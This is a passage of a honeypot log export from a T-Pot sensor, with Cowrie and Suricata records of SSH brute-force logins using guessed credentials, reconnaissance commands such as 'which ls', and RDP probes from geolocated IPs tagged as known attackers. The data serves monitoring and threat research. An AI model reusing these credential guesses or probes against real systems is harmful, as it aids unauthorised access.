"4rfv5tgb", "username": "root", "timestamp": "2021-09-20T11:42:33.884314Z", "@timestamp": "2021-09-20T11:42:33.884Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31126	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:42:35.150984+03	2021-09-20 14:45:04.081142+03	{"_id": "9QYDA3wBvYTbRNuE1kHh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/4rfvBGT%] failed", "session": "962f320b0dcc", "@version": "1", "password": "4rfvBGT%", "username": "root", "timestamp": "2021-09-20T11:42:35.150984Z", "@timestamp": "2021-09-20T11:42:35.150Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31127	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:42:35.000134+03	2021-09-20 14:45:04.082142+03	{"_id": "9gYDA3wBvYTbRNuE2EGe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:41:16.639660+0000", "pkts_toclient": 7, "pkts_toserver": 10, "bytes_toclient": 548, "bytes_toserver": 1224}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 10, "action": "allowed", "category": "Potentially Bad Traffic", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2019_10_07"]}, "severity": 2, "signature": "GPL TELNET Bad Login", "signature_id": 2101251}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "109.104.151.106", "flow_id": 426333274161836, "payload": "bG9naW46IP/7AVBhc3N3b3JkOiAKTG9naW4gaW5jb3JyZWN0CmxvZ2luOiBQYXNzd29yZDogCkxvZ2luIGluY29ycmVjdApsb2dpbjog", "@version": "1", "src_port": 23, "app_proto": "failed", "dest_port": 53398, "timestamp": "2021-09-20T11:42:35.000134Z", "@timestamp": "2021-09-20T11:42:35.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "login: ...Password: \\nLogin incorrect\\nlogin: Password: \\nLogin incorrect\\nlogin: "}}	1	\N	\N	alert	\N	\N
31399	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:18.100849+03	2021-09-20 14:45:04.433143+03	{"_id": "iAYFA3wBvYTbRNuEaUNx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:18.100849Z", "@timestamp": "2021-09-20T11:44:18.100Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31128	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:42:36.006739+03	2021-09-20 14:45:04.084141+03	{"_id": "9wYDA3wBvYTbRNuE2EGe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:42:35.660226+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 733045483836162, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 50099, "dest_port": 3389, "timestamp": "2021-09-20T11:42:36.006739Z", "@timestamp": "2021-09-20T11:42:36.006Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
31129	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:42:36.006739+03	2021-09-20 14:45:04.085142+03	{"_id": "-AYDA3wBvYTbRNuE2EGe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:42:35.660226+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 733045483836162, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 50099, "dest_port": 3389, "timestamp": "2021-09-20T11:42:36.006739Z", "@timestamp": "2021-09-20T11:42:36.006Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
31130	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:42:36.057912+03	2021-09-20 14:45:04.087142+03	{"_id": "-QYDA3wBvYTbRNuE2EGe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:42:35.660226+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 733045483836162, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 50099, "timestamp": "2021-09-20T11:42:36.057912Z", "@timestamp": "2021-09-20T11:42:36.057Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
31131	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:42:26.835169+03	2021-09-20 14:45:04.088141+03	{"_id": "3gYDA3wBvYTbRNuEt0Gb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "c27e0ddedf09", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:42:26.835169Z", "@timestamp": "2021-09-20T11:42:26.835Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31132	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:42:26.83232+03	2021-09-20 14:45:04.089143+03	{"_id": "3wYDA3wBvYTbRNuEt0Gc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 107.0.200.227:53882 (192.168.176.2:22) [session: c27e0ddedf09]", "session": "c27e0ddedf09", "@version": "1", "protocol": "ssh", "src_port": 53882, "dest_port": 22, "timestamp": "2021-09-20T11:42:26.832320Z", "@timestamp": "2021-09-20T11:42:26.832Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31133	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:42:26.970069+03	2021-09-20 14:45:04.091142+03	{"_id": "4AYDA3wBvYTbRNuEt0Gc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "c27e0ddedf09", "@version": "1", "timestamp": "2021-09-20T11:42:26.970069Z", "@timestamp": "2021-09-20T11:42:26.970Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31134	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:42:27.594286+03	2021-09-20 14:45:04.092142+03	{"_id": "4QYDA3wBvYTbRNuEt0Gc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.login.failed", "message": "login attempt [nadir/nadir] failed", "session": "c27e0ddedf09", "@version": "1", "password": "nadir", "username": "nadir", "timestamp": "2021-09-20T11:42:27.594286Z", "@timestamp": "2021-09-20T11:42:27.594Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31135	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:42:27.000344+03	2021-09-20 14:45:04.093142+03	{"_id": "4gYDA3wBvYTbRNuEuUFa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:41:25.403618+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 1225068342749346, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 55619, "timestamp": "2021-09-20T11:42:27.000344Z", "@timestamp": "2021-09-20T11:42:27.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
31136	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:42:28.730208+03	2021-09-20 14:45:04.094142+03	{"_id": "5AYDA3wBvYTbRNuEv0Ft", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "c27e0ddedf09", "@version": "1", "duration": 1.895376443862915, "timestamp": "2021-09-20T11:42:28.730208Z", "@timestamp": "2021-09-20T11:42:28.730Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31137	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:42:32.232011+03	2021-09-20 14:45:04.096142+03	{"_id": "7QYDA3wBvYTbRNuEy0En", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:62046 (192.168.176.2:22) [session: 962f320b0dcc]", "session": "962f320b0dcc", "@version": "1", "protocol": "ssh", "src_port": 62046, "dest_port": 22, "timestamp": "2021-09-20T11:42:32.232011Z", "@timestamp": "2021-09-20T11:42:32.232Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31400	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:18.10134+03	2021-09-20 14:45:04.435142+03	{"_id": "iQYFA3wBvYTbRNuEaUNx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:18.101340Z", "@timestamp": "2021-09-20T11:44:18.101Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31138	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:42:32.234852+03	2021-09-20 14:45:04.097142+03	{"_id": "7gYDA3wBvYTbRNuEy0En", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "962f320b0dcc", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T11:42:32.234852Z", "@timestamp": "2021-09-20T11:42:32.234Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31139	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:42:32.493948+03	2021-09-20 14:45:04.098142+03	{"_id": "7wYDA3wBvYTbRNuEy0En", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "962f320b0dcc", "@version": "1", "timestamp": "2021-09-20T11:42:32.493948Z", "@timestamp": "2021-09-20T11:42:32.493Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31140	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:42:32.493081+03	2021-09-20 14:45:04.099143+03	{"_id": "8AYDA3wBvYTbRNuEzEHl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 2177887514384053, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 62046, "dest_port": 22, "timestamp": "2021-09-20T11:42:32.493081Z", "@timestamp": "2021-09-20T11:42:32.493Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31141	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:42:32.236239+03	2021-09-20 14:45:04.101142+03	{"_id": "8QYDA3wBvYTbRNuEzUHV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 62046, "timestamp": "2021-09-20T11:42:32.236239", "@timestamp": "2021-09-20T11:42:32.236Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31142	107.0.200.227	109.199.241.180	Suricata	2021-09-20 14:42:26.968291+03	2021-09-20 14:45:04.102142+03	{"_id": "0QYDA3wBvYTbRNuEtUFx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "107.0.200.227", "dest_ip": "192.168.20.116", "flow_id": 322779469748714, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 53882, "dest_port": 22, "timestamp": "2021-09-20T11:42:26.968291Z", "@timestamp": "2021-09-20T11:42:26.968Z", "event_type": "ssh", "t-pot_ip_ext": 